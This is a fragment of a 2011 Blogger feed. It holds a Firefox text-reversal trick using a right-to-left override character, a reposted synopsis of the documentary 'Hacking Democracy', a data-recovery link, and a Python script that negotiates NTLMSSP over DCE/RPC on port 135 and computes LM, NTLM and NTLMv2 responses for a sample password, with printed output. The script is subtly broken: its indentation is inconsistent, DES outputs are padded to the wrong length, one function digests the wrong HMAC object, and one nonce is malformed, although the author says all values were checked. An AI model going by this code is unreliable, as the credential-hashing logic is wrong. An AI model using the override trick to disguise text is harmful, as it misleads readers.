To test it, create a file called file.html with the following content:&lt;br /&gt;
&lt;br /&gt;
&lt; p&gt; &amp; # 8 2 3 8; suchindrac&lt;/ p&gt;&lt;br /&gt;
&lt;br /&gt;
NOTE: Remove the spaces in the above string&lt;br /&gt;
&lt;br /&gt;
Open the file in firefox, and notice that the string is reversed&lt;br /&gt;
&lt;br /&gt;
Trick 2:&lt;br /&gt;
&lt;br /&gt;
Just type the following into your URL bar and notice that you open up another browser instance within the browser that you have already opened:&lt;br /&gt;
&lt;br /&gt;
c h r o m e : / / b r o w s e r / c o n t e n t / b r o w s e r .  x u l&lt;br /&gt;
&lt;br /&gt;
NOTE: Remove the spaces in the above line&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-5057250166055721718?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/5057250166055721718/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/08/mirroring-character-and-browser-within.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5057250166055721718'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/5057250166055721718'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/08/mirroring-character-and-browser-within.html' title='The mirroring character and browser within a browser'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-2137259455012488846</id><published>2011-07-30T20:34:00.001-07:00</published><updated>2011-07-30T20:34:44.168-07:00</updated><title type='text'>Hacking Democracy</title><content type='html'>Document reproduced as-is from &lt;a href="http://www.wanttoknow.info/electionsvideodocumentary"&gt;here&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Elections Video Documentary&lt;br /&gt;
HBO's Hacking Democracy&lt;br /&gt;
&lt;br /&gt;
By far the best video exposing major problems with the U.S. elections process is HBO's excellent documentary Hacking Democracy. This fast-moving film shows serious improprieties affecting both political parties in the United States which threaten the very base of our democracy. Though strangely not available for purchase on the HBO website, this engaging, incredibly important video can be viewed free at the link below:&lt;br /&gt;
&lt;br /&gt;
HBO Video Documentary—Hacking Democracy (80 minutes)&lt;br /&gt;
http://video.google.com/videoplay?docid=7926958774822130737&lt;br /&gt;
&lt;br /&gt;
If the above link does not work, click here to watch "Hacking Democracy." For the excellent website of Bev Harris, featured in this video, see Black Box Voting at this link.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Note: The below summary of this highly revealing elections documentary is taken from the HBO website at http://www.hbo.com/docs/programs/hackingdemocracy/synopsis.html.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
HBO Video Documentary: Hacking Democracy&lt;br /&gt;
&lt;br /&gt;
Electronic voting machines count about 87% of the votes cast in America today. But are they reliable? Are they safe from tampering? From a current congressional hearing to persistent media reports that suggest misuse of data and even outright fraud, concerns over the integrity of electronic voting are growing by the day. And if the voting process is not secure, neither is America's democracy. The timely, cautionary documentary Hacking Democracy exposes gaping holes in the security of America's electronic voting system.&lt;br /&gt;
&lt;br /&gt;
In the 2000 presidential election, an electronic voting machine recorded minus 16,022 votes for Al Gore in Volusia County, Fla. While fraud was never proven, the faulty tally alerted computer scientists, politicians and everyday citizens to the very real possibility of computer hacking during elections.&lt;br /&gt;
&lt;br /&gt;
In 2002, Seattle grandmother and writer Bev Harris asked officials in her county why they had acquired electronic touch screen systems for their elections. Unsatisfied with their explanation, she set out to learn about electronic voting machines on her own. In the course of her research, which unearthed hundreds of reported incidents of mishandled voting information, Harris stumbled across an "online library" of the Diebold Corporation, discovering a treasure trove of information about the inner-workings of the company's voting system.&lt;br /&gt;
&lt;br /&gt;
Harris brought this proprietary "secret" information to computer security expert Dr. Avi Rubin of Johns Hopkins University, who determined that the software lacked the necessary security features to prevent tampering. Her subsequent investigation took her from the trash cans of Texas to the secretary of state of California and finally to Florida, where a "mini-election" to test the vulnerability of the memory cards used in electronic voting produced alarming results.&lt;br /&gt;
&lt;br /&gt;
As the scope of her mission grew, Harris drew on the expertise of other computer science experts, politicians and activists, among them: Andy Stephenson, candidate for secretary of state in Washington state; Susan Bernecker, Republican candidate in New Orleans; Kathleen Wynne, an activist from Cleveland; Dr. Herbert Thompson, chief security strategist, Security Innovation, Inc.; Ion Sancho, supervisor of elections for Leon County, Fla.; and Harri Hursti, a computer-security analyst. Academics, public officials and others seen in interview footage include: Deanie Lowe, supervisor of elections, Volusia County, Fla.; Mark Radke, marketing director of Diebold; David Cobb, presidential candidate, Green Party; and Rep. Stephanie Tubbs-Jones of Ohio.&lt;br /&gt;
&lt;br /&gt;
Diebold software, or other software like it, is installed in thousands of counties across 32 states. David Dill, professor of computer science at Stanford, says the problem is that there are "lots of people involved in writing the software, and lots of people who could have touched the software before it went into that machine. If one of those people put something malicious in the software and it's distributed to all the machines, then that one person could be responsible for changing tens of thousands of votes, maybe even hundreds of thousands, across the country."&lt;br /&gt;
&lt;br /&gt;
In Florida, Leon County supervisor of elections Ion Sancho presided over a trial "mini-election" to see if the vote could be hacked without being detected. Before votes were actually cast, computer analyst Harri Hursti "stuffed the ballot box" by entering votes on the computer's memory card. Then, after votes were cast, the results displayed when the same memory card was entered in the central tabulating program indicated that fraud was indeed possible. In other words, by accessing a memory card before an election, someone could change the results - a claim Diebold had denied was possible.&lt;br /&gt;
&lt;br /&gt;
Ultimately, Bev Harris' research proved that the top-secret computerized systems counting the votes in America's public elections are not only fallible, but also vulnerable to undetectable hacking, from local school board contests to the presidential race. With the electronic voting machines of three companies - Diebold, ES&amp;S and Sequoia - collectively responsible for around 80 percent of America's votes today, the stakes for democracy are high.&lt;br /&gt;
&lt;br /&gt;
You can help to stop these abuses by sharing this information with your friends and colleagues and bringing this crucial information to the attention of the media and our political representatives. By working together, we can and will build a brighter future for ourselves and for future generations&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-2137259455012488846?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/2137259455012488846/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/07/hacking-democracy.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2137259455012488846'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2137259455012488846'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/07/hacking-democracy.html' title='Hacking Democracy'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-2724439249775790173</id><published>2011-07-29T11:04:00.000-07:00</published><updated>2011-07-29T11:04:49.964-07:00</updated><title type='text'>Good tool for Linux Data Recovery</title><content type='html'>&lt;a href="http://www.cgsecurity.org/wiki/TestDisk_Download"&gt;photorec_static&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4776672193816865559-2724439249775790173?l=thekissinglink.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thekissinglink.blogspot.com/feeds/2724439249775790173/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thekissinglink.blogspot.com/2011/07/good-tool-for-linux-data-recovery.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2724439249775790173'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4776672193816865559/posts/default/2724439249775790173'/><link rel='alternate' type='text/html' href='http://thekissinglink.blogspot.com/2011/07/good-tool-for-linux-data-recovery.html' title='Good tool for Linux Data Recovery'/><author><name>Suchindra Chandrahas</name><uri>http://www.blogger.com/profile/01390824528107672381</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/-A3rs6jgaxuA/Tx6NxDzBFsI/AAAAAAAAAE4/JavWeUpK4sU/s220/suchindrac.jpeg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4776672193816865559.post-8489315841065982667</id><published>2011-07-26T09:28:00.000-07:00</published><updated>2011-07-28T06:10:59.115-07:00</updated><title type='text'>Simple python script to generate LM Response</title><content type='html'>The following is a python code written by me, for the example given at:&lt;br /&gt;
&lt;br /&gt;
&lt;a href="http://davenport.sourceforge.net/ntlm.html"&gt;http://davenport.sourceforge.net/ntlm.html&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;pre name="code" class="Cpp"&gt;import socket, sys, struct
from M2Crypto.EVP import Cipher
import pyDes
from pyDes import *
import md4

DCE_RPC_BIND = "\x0b"
DCE_RPC_FLAGS = "\x03"
DCE_RPC_VER_MAJOR = "\x05"
DCE_RPC_VER_MINOR = "\x00"

DCE_RPC_DATAREP = struct.pack('l', 0x10)
DCE_RPC_FRAG_LEN = struct.pack('h', 0xbf)
DCE_RPC_AUTH_LEN = struct.pack('h', 0x6f)
DCE_RPC_SPNEGO = "\x09"
DCE_RPC_CONNECT = "\x02"

dst_host = sys.argv[1]
dst_port = int(sys.argv[2])

#
# DCE RPC Part
#

dce_rpc_packet = DCE_RPC_VER_MAJOR
dce_rpc_packet = dce_rpc_packet + DCE_RPC_VER_MINOR
dce_rpc_packet = dce_rpc_packet + DCE_RPC_BIND
dce_rpc_packet = dce_rpc_packet + DCE_RPC_FLAGS
dce_rpc_packet = dce_rpc_packet + DCE_RPC_DATAREP
dce_rpc_packet = dce_rpc_packet + DCE_RPC_FRAG_LEN
dce_rpc_packet = dce_rpc_packet + DCE_RPC_AUTH_LEN

#
# Call ID
#
dce_rpc_packet = dce_rpc_packet + struct.pack('l', 0x01)

#
# Max XMIT Frag
#
dce_rpc_packet = dce_rpc_packet + struct.pack('!H', 0xd016)

#
# Max RECV Frag
#
dce_rpc_packet = dce_rpc_packet + struct.pack('!H', 0xd016)

#
# Assoc Group
#
dce_rpc_packet = dce_rpc_packet + struct.pack('l', 0x00)

#
# Number of context items
#
dce_rpc_packet = dce_rpc_packet + "\x01\x00\x00\x00"

#
# Context ID
#

dce_rpc_packet = dce_rpc_packet + struct.pack('H', 0x00)

#
# Number of transfer items
#
dce_rpc_packet = dce_rpc_packet + "\x01\x00"

#
# Abstract syntax and Transfer Syntax
#
dce_rpc_packet = dce_rpc_packet + "\xb8\x4a\x9f\x4d\x1c\x7d\xcf\x11\x86\x1e\x00\x20\xaf\x6e\x7c\x57\x00\x00\x00\x00"
dce_rpc_packet = dce_rpc_packet + "\x04\x5d\x88\x8a\xeb\x1c\xc9\x11\x9f\xe8\x08\x00\x2b\x10\x48\x60\x02\x00\x00\x00"

#
# Auth Type
#
dce_rpc_packet = dce_rpc_packet + DCE_RPC_SPNEGO
dce_rpc_packet = dce_rpc_packet + DCE_RPC_CONNECT

#
# Auth Pad Length
#
dce_rpc_packet = dce_rpc_packet + "\x00"

#
# Reserved
#
dce_rpc_packet = dce_rpc_packet + "\x00"

#
# Auth Context ID
#
dce_rpc_packet = dce_rpc_packet + "\x67\x45\x8b\x6b"

#
# GSSAPI Part
#
gssapi_blob = "\x60\x6d\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x63\x30\x61\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x4f\x04\x4d\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x05\x82\x08\x60\x09\x00\x09\x00\x20\x00\x00\x00\x24\x00\x24\x00\x29\x00\x00\x00"

dce_rpc_packet = dce_rpc_packet + gssapi_blob + "WORKGROUP" + "SUCHINDRAC-PRECISION-WORKSTATION-390"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((dst_host, dst_port))
s.send(dce_rpc_packet)
resp = s.recv(10240)
dce_rpc_part = resp[0:68]
gssapi_part = resp[68:139]
gssapi_al_part = resp[167:]

( dce_rpc_version_major, 
 dce_rpc_version_minor, 
 dce_rpc_packet_type, 
 dce_rpc_packet_flags, 
 dce_rpc_datarep, 
 dce_rpc_frag_len, 
 dce_rpc_auth_len, 
 dce_rpc_call_id, 
 dce_rpc_max_xmit, 
 dce_rpc_max_recv, 
 dce_rpc_assoc_group, 
 dce_rpc_scndry_addr_len, 
 dce_rpc_scndry_addr,
 dce_rpc_dummy_1,
 dce_rpc_num_results,
 dce_rpc_dummy_2,
 dce_rpc_ctx_id,
 dce_rpc_auth_type, 
 dce_rpc_auth_level, 
 dce_rpc_auth_pad_len, 
 dce_rpc_auth_reserved, 
 dce_rpc_auth_context_id 
 ) = struct.unpack('BBBB4shhihh4sh4s2sc3s24scccc4s', dce_rpc_part)

( gssapi_simple_pe,
 gssapi_dummy_1,
 gssapi_neg_result,
 gssapi_dummy_2,
 gssapi_supported_mech,
 gssapi_dummy_3,
 gssapi_ntlmssp_identifier,
 gssapi_ntlmssp_msg_type,
 gssapi_len,
 gssapi_max_len,
 gssapi_offset,
 gssapi_flags,
 gssapi_server_challenge,
 gssapi_reserved,
 ) = struct.unpack('3s7sc4s10s6s8s4s2s2s4s4s8s8s', gssapi_part)


def set_odd_parity(bytes):  
 op_bytes = []  
 for iter1 in bytes:  
  binByte = bin(iter1)[2:]  
  if len(binByte) &lt; 8:  
      binByte = "0" * (8 - len(binByte) ) + binByte  
   
   
  num1s = 0  
  for iter2 in binByte:  
   if iter2 == "1":  
        num1s = num1s + 1  
    
    
  lastByteSet = 0  
  if binByte[7] == "1":  
   lastByteSet = 1  
    
  if num1s % 2 == 0:  
   odd1s = 0  
  else:  
   odd1s = 1  
    
  binByte_op = ""  
    
  if (lastByteSet == 1) and (odd1s == 1):  
      binByte_op = binByte  
    
  if (lastByteSet == 0) and (odd1s == 1):  
      binByte_op = binByte  
    
  if (lastByteSet == 1) and (odd1s == 0):  
      binByte_op = binByte[0:7] + '0'  
    
  if (lastByteSet == 0) and (odd1s == 0):  
      binByte_op = binByte[0:7] + '1'  
    

  op_bytes.append(int( binByte_op, 2))  

 return op_bytes   
  

#print struct.unpack('8s', gssapi_server_challenge)
def getKeyFromMaterial(material):  
  key = []  
  for i in range(8): key.append(0)  
  
  key[0] = material[0];  
  key[1] = ((material[0] &lt;&lt; 7) &amp; 0xFF) | (material[1] &gt;&gt; 1);  
  key[2] = ((material[1] &lt;&lt; 6) &amp; 0xFF) | (material[2] &gt;&gt; 2);  
  key[3] = ((material[2] &lt;&lt; 5) &amp; 0xFF) | (material[3] &gt;&gt; 3);  
  key[4] = ((material[3] &lt;&lt; 4) &amp; 0xFF) | (material[4] &gt;&gt; 4);  
  key[5] = ((material[4] &lt;&lt; 3) &amp; 0xFF) | (material[5] &gt;&gt; 5);  
  key[6] = ((material[5] &lt;&lt; 2) &amp; 0xFF) | (material[6] &gt;&gt; 6);  
  key[7] =  (material[6] &lt;&lt; 1) &amp; 0xFF;  

 key = set_odd_parity(key)  

  return key  

def printHexList(lst, title):
 print title, ":", lst

def encryptMagic(magic, key):  
  str_key = ""  
  for iter1 in key:  
    str_key = str_key + chr(iter1)  
  
  k = des(str_key, pyDes.ECB, IV=None, pad=PAD_NORMAL, padmode=PAD_NORMAL)  
  d = k.encrypt(magic)  
  
  return d  

  
def i2h(lst):
 lst1 = []
 for iter1 in lst:
  lst1.append(hex(iter1))

 return lst1

def s2h(strng):
 lst1 = []

 for iter1 in strng:
  lst1.append(hex(ord(iter1)))

 return lst1

def encryptChallenge(magic, key):  
  str_key = ""  
  for iter1 in key:  
    str_key = str_key + chr(iter1)  
  
 encrypt = 1
 cipher = Cipher(alg='des_ecb', key=str_key, op=encrypt, iv="\x00"*16)
 ciphertext = cipher.update(magic)
 ciphertext += cipher.final()

 return ciphertext
def HexToByte( hexStr ):
    """
    Convert a string hex byte values into a byte string. The Hex Byte values may
    or may not be space separated.
    """
    # The list comprehension implementation is fractionally slower in this case    
    #
    #    hexStr = ''.join( hexStr.split(" ") )
    #    return ''.join( ["%c" % chr( int ( hexStr[i:i+2],16 ) ) \
    #                                   for i in range(0, len( hexStr ), 2) ] )

    bytes = []

    hexStr = ''.join( hexStr.split(" ") )

    for i in range(0, len(hexStr), 2):
        bytes.append( chr( int (hexStr[i:i+2], 16 ) ) )

    return ''.join( bytes )

def ByteToHex( byteStr ):
    """
    Convert a byte string to it's hex string representation e.g. for output.
    """
    
    # Uses list comprehension which is a fractionally faster implementation than
    # the alternative, more readable, implementation below
    #   
    #    hex = []
    #    for aChar in byteStr:
    #        hex.append( "%02X " % ord( aChar ) )
    #
    #    return ''.join( hex ).strip()        

    return ''.join( [ "%02X " % ord( x ) for x in byteStr ] ).strip()


def create_lm_hash(password, challenge):  
  password = password.upper()  
  
  password = password + "\x00" * (14 - len(password))  
  
  passwd_ord = []  
  
  for iter1 in range(14):  
    passwd_ord.append(ord(password[iter1]))  
   
 printHexList(password, "PASSDORD")  
  
  key_1 = getKeyFromMaterial(passwd_ord[0:7])  
  key_2 = getKeyFromMaterial(passwd_ord[7:14])  

 printHexList(i2h(key_1), "Initial_Key_1")
 printHexList(i2h(key_2), "Initial_Key_2")

 d_1 = encryptMagic(b"KGS!@#$%", key_1)  

 printHexList(s2h(d_1), "Encrypted_Magic_using_key_1")
  
 d_2 = encryptMagic(b"KGS!@#$%", key_2)  

 printHexList(s2h(d_2), "Encrypted_Magic_using_key_2")

  lm_hash = d_1[0:8] + d_2[0:8]  

 printHexList(s2h(lm_hash), "LM_HASH")  
  
  lm_hash = lm_hash + "\x00" * (21 - len(lm_hash))  

 printHexList(s2h(lm_hash), "Null padded LM_HASH")
  
  lm_hash_int = []  
  
  for iter1 in range(21):  
    lm_hash_int.append(ord(lm_hash[iter1]))  
  
  lm_hash_1 = lm_hash_int[0:7]  
  lm_hash_2 = lm_hash_int[7:14]  
 lm_hash_3 = lm_hash_int[14:21]  
  
 printHexList(i2h(lm_hash_1), "LM_HASH_1")
 printHexList(i2h(lm_hash_2), "LM_HASH_2")
 printHexList(i2h(lm_hash_3), "LM_HASH_3")
  
  s2_key_1 = getKeyFromMaterial(lm_hash_1)  
  s2_key_2 = getKeyFromMaterial(lm_hash_2)  
 s2_key_3 = getKeyFromMaterial(lm_hash_3)  
  

 printHexList(i2h(s2_key_1), "S2_KEY_1")
 printHexList(i2h(s2_key_2), "S2_KEY_2")
 printHexList(i2h(s2_key_3), "S2_KEY_3")

 printHexList(s2h(challenge), "Server_Challenge")

   s2_d_1 = encryptChallenge(challenge, s2_key_1)
 printHexList(s2h(s2_d_1), "Encrypted_server_challenge_using_key_1")

   s2_d_2 = encryptChallenge(challenge, s2_key_2)  
 printHexList(s2h(s2_d_2), "Encrypted_server_challenge_using_key_2")

   s2_d_3 = encryptChallenge(challenge, s2_key_3)
 printHexList(s2h(s2_d_3), "Encrypted_server_challenge_using_key_3")


 lm_response = s2_d_1 + s2_d_2 + s2_d_3

 printHexList(s2h(lm_response), "LM Response")

 return lm_response

def create_ntlm_response(password, challenge):
 password = password.encode('utf16')[2:]
 printHexList(s2h(password), "Unicode16_Encoded_Password")

 import md4

 md4_context = md4.new()
 md4_context.update(password)

 md4_password = md4_context.digest()

 printHexList(s2h(md4_password), "MD4_Encoded_Password")

 md4_password_padded = md4_password + (21 - len(md4_password)) * "\x00"

 printHexList(s2h(md4_password_padded), "MD4_Encoded_Password_Padded")

 md4_1 = md4_password_padded[0:7]
 md4_2 = md4_password_padded[7:14]
 md4_3 = md4_password_padded[14:21]

 printHexList(s2h(md4_1), "MD4_1")
 printHexList(s2h(md4_2), "MD4_2")
 printHexList(s2h(md4_3), "MD4_3")

 md4_ord = []
  
  for iter1 in range(21):  
    md4_ord.append(ord(md4_password_padded[iter1]))  

 md4_1_ord = md4_ord[0:7]
 md4_2_ord = md4_ord[7:14]
 md4_3_ord = md4_ord[14:21]

 des_key_1 = getKeyFromMaterial(md4_1_ord)
 des_key_2 = getKeyFromMaterial(md4_2_ord)
 des_key_3 = getKeyFromMaterial(md4_3_ord) 

 printHexList(i2h(des_key_1), "DES_1")
 printHexList(i2h(des_key_2), "DES_2")
 printHexList(i2h(des_key_3), "DES_3")

 s1_d_1 = encryptChallenge(challenge, des_key_1)
 s1_d_2 = encryptChallenge(challenge, des_key_2)    
 s1_d_3 = encryptChallenge(challenge, des_key_3)    

 printHexList(s2h(s1_d_1), "NTLM_1")
 printHexList(s2h(s1_d_2), "NTLM_2")
 printHexList(s2h(s1_d_3), "NTLM_3")

 ntlm_response = s1_d_1 + s1_d_2 + s1_d_3

 printHexList(s2h(ntlm_response), "NTLM_Response")

 return ntlm_response

def create_ntlm_v2_response(user, domain, password, challenge, target_list):
 password = password.encode('utf16')[2:]
 printHexList(s2h(password), "Unicode16_Encoded_Password")

 import md4

 md4_context = md4.new()
 md4_context.update(password)

 md4_password = md4_context.digest()

 printHexList(s2h(md4_password), "MD4_Encoded_Password")

 md4_password_padded = md4_password + (21 - len(md4_password)) * "\x00"

 printHexList(s2h(md4_password_padded), "MD4_Encoded_Password_Padded")

 user = user.upper()
 user = user.encode('utf16')[2:]

 domain = domain.encode('utf16')[2:]

 userDomain = user + domain

 import hmac

 k = hmac.new(md4_password)

 k.update(userDomain)

 e = k.digest()

 printHexList(s2h(e), "NTLM_v2_Hash")

 printHexList(s2h(target_list), "Target_List")

 blob_signature = "01010000"

 printHexList(s2h(HexToByte(blob_signature)), "Blob_signature")

 reserved_value = "00000000"

 printHexList(s2h(HexToByte(reserved_value)), "Reserved_Value")

 timestamp = "0090d336b734c301"

 printHexList(s2h(HexToByte(timestamp)), "Timestamp")

 random_client_nonce = "ffffff0011223344"
 printHexList(s2h(HexToByte(random_client_nonce)), "Random_Client_Nonce")

 unknown = "00000000"

 printHexList(s2h(unknown), "Unknown_Value")

 blob = HexToByte(blob_signature + reserved_value + timestamp + random_client_nonce + unknown)

 blob = blob + target_list + HexToByte(unknown)

 blob = challenge + blob

 printHexList(s2h(blob), "Blob")

 printHexList(s2h(challenge), "Challenge")

 k1 = hmac.new(e)

 k1.update(blob)

 e1 = k1.digest()

 printHexList(s2h(e1), "NTLM_v2_Response")

 return e1

def create_lm_v2_response(password, user, domain, challenge):
 password = password.encode('utf16')[2:]
 printHexList(s2h(password), "Unicode16_Encoded_Password")

 import md4

 md4_context = md4.new()
 md4_context.update(password)

 md4_password = md4_context.digest()

 printHexList(s2h(md4_password), "MD4_Encoded_Password")

 user = user.upper()
 user = user.encode('utf16')[2:]

 domain = domain.encode('utf16')[2:]

 userDomain = user + domain

 import hmac

 k = hmac.new(md4_password)

 k.update(userDomain)

 e = k.digest()

 printHexList(s2h(e), "NTLM_v2_Hash")

 random_client_nonce = HexToByte("fffffff0011223344")

 printHexList(s2h(random_client_nonce), "Random_Client_Nonce")

 chAndNonce = challenge + random_client_nonce

 import hmac

 k1 = hmac.new(e)

 k1.update(chAndNonce)

 e1 = k.digest()
 
 lm_v2_response = e1 + random_client_nonce

 printHexList(s2h(e1), "LM_v2_Response")

 return lm_v2_response

challenge = HexToByte("0123456789abcdef")
lm_response = create_lm_hash('secret01', gssapi_server_challenge)

password = 'secret01'
ntlm_response = create_ntlm_response(password, gssapi_server_challenge)

password = 'secret01'
domain = 'DOMAIN'
user = 'user'

#target_list = "02000c0044004f004d00410049004e0001000c005300450052005600450052000400140064006f006d00610069006e002e0063006f006d00030022007300650072007600650072002e0064006f006d00610069006e002e0063006f006d0000000000"

#ntlm_v2_respnose = create_ntlm_v2_response(user, domain, password, "0123456789abcdef", target_list)

ntlm_v2_respnose = create_ntlm_v2_response(user, domain, password, gssapi_server_challenge, gssapi_al_part)
lm_v2_response = create_lm_v2_response(password, user, domain, challenge)
&lt;/pre&gt;

Here is the response (Note: all values have been checked once with the article above):

&lt;pre name="code" class="Cpp"&gt;# python ntlm1.py 10.112.73.251 135
PASSDORD : SECRET01
Initial_Key_1 : ['0x52', '0xa2', '0x51', '0x6b', '0x25', '0x2a', '0x51', '0x61']
Initial_Key_2 : ['0x31', '0x80', '0x1', '0x1', '0x1', '0x1', '0x1', '0x1']
Encrypted_Magic_using_key_1 : ['0xff', '0x37', '0x50', '0xbc', '0xc2', '0xb2', '0x24', '0x12']
Encrypted_Magic_using_key_2 : ['0xc2', '0x26', '0x5b', '0x23', '0x73', '0x4e', '0xd', '0xac']
LM_HASH : ['0xff', '0x37', '0x50', '0xbc', '0xc2', '0xb2', '0x24', '0x12', '0xc2', '0x26', '0x5b', '0x23', '0x73', '0x4e', '0xd', '0xac']
Null padded LM_HASH : ['0xff', '0x37', '0x50', '0xbc', '0xc2', '0xb2', '0x24', '0x12', '0xc2', '0x26', '0x5b', '0x23', '0x73', '0x4e', '0xd', '0xac', '0x0', '0x0', '0x0', '0x0', '0x0']
LM_HASH_1 : ['0xff', '0x37', '0x50', '0xbc', '0xc2', '0xb2', '0x24']
LM_HASH_2 : ['0x12', '0xc2', '0x26', '0x5b', '0x23', '0x73', '0x4e']
LM_HASH_3 : ['0xd', '0xac', '0x0', '0x0', '0x0', '0x0', '0x0']
S2_KEY_1 : ['0xfe', '0x9b', '0xd5', '0x16', '0xcd', '0x15', '0xc8', '0x49']
S2_KEY_2 : ['0x13', '0x61', '0x89', '0xcb', '0xb3', '0x1a', '0xcd', '0x9d']
S2_KEY_3 : ['0xd', '0xd6', '0x1', '0x1', '0x1', '0x1', '0x1', '0x1']
Server_Challenge : ['0xd4', '0x19', '0xa0', '0x12', '0xa0', '0x24', '0xdb', '0xcf']
Encrypted_server_challenge_using_key_1 : ['0x60', '0x66', '0xb9', '0xb4', '0xcd', '0x23', '0x90', '0xe3', '0xe2', '0xb0', '0x6e', '0x10', '0xb', '0x5e', '0xdd', '0xb4']
Encrypted_server_challenge_using_key_2 : ['0x2e', '0xe2', '0x9c', '0x64', '0x17', '0x5d', '0xc1', '0x3d', '0x6e', '0x93', '0xb', '0x8c', '0xed', '0xea', '0xbe', '0x11']
Encrypted_server_challenge_using_key_3 : ['0xe0', '0x39', '0x93', '0x75', '0xcf', '0xb0', '0x25', '0x66', '0xf', '0x5a', '0x21', '0x29', '0x77', '0x49', '0xa1', '0xc']
LM Response : ['0x60', '0x66', '0xb9', '0xb4', '0xcd', '0x23', '0x90', '0xe3', '0xe2', '0xb0', '0x6e', '0x10', '0xb', '0x5e', '0xdd', '0xb4', '0x2e', '0xe2', '0x9c', '0x64', '0x17', '0x5d', '0xc1', '0x3d', '0x6e', '0x93', '0xb', '0x8c', '0xed', '0xea', '0xbe', '0x11', '0xe0', '0x39', '0x93', '0x75', '0xcf', '0xb0', '0x25', '0x66', '0xf', '0x5a', '0x21', '0x29', '0x77', '0x49', '0xa1', '0xc']
Unicode16_Encoded_Password : ['0x73', '0x0', '0x65', '0x0', '0x63', '0x0', '0x72', '0x0', '0x65', '0x0', '0x74', '0x0', '0x30', '0x0', '0x31', '0x0']
MD4_Encoded_Password : ['0xfd', '0x8', '0x96', '0x47', '0x7d', '0x4e', '0x8b', '0xf8', '0x13', '0x45', '0xcd', '0x4d', '0x46', '0x4d', '0x38', '0x1b']
MD4_Encoded_Password_Padded : ['0xfd', '0x8', '0x96', '0x47', '0x7d', '0x4e', '0x8b', '0xf8', '0x13', '0x45', '0xcd', '0x4d', '0x46', '0x4d', '0x38', '0x1b', '0x0', '0x0', '0x0', '0x0', '0x0']
MD4_1 : ['0xfd', '0x8', '0x96', '0x47', '0x7d', '0x4e', '0x8b']
MD4_2 : ['0xf8', '0x13', '0x45', '0xcd', '0x4d', '0x46', '0x4d']
MD4_3 : ['0x38', '0x1b', '0x0', '0x0', '0x0', '0x0', '0x0']
DES_1 : ['0xfd', '0x85', '0x25', '0xc8', '0x76', '0xea', '0x3b', '0x16']
DES_2 : ['0xf8', '0x8', '0xd0', '0xb9', '0xd5', '0x6b', '0x19', '0x9b']
DES_3 : ['0x38', '0xd', '0xc1', '0x1', '0x1', '0x1', '0x1', '0x1']
NTLM_1 : ['0x5', '0x58', '0xd', '0x18', '0x4e', '0x95', '0xc1', '0x81', '0xbb', '0x2a', '0xbd', '0xc5', '0xfe', '0xf3', '0xf5', '0x57']
NTLM_2 : ['0x9c', '0x71', '0xae', '0xa8', '0xce', '0x18', '0xd5', '0x40', '0xd', '0xea', '0xd4', '0x68', '0xae', '0x38', '0x66', '0xd9']
NTLM_3 : ['0x2b', '0xdd', '0x22', '0x6b', '0x4e', '0x27', '0x4b', '0x95', '0x3f', '0x85', '0xf0', '0xcb', '0x53', '0xa3', '0x61', '0xe1']
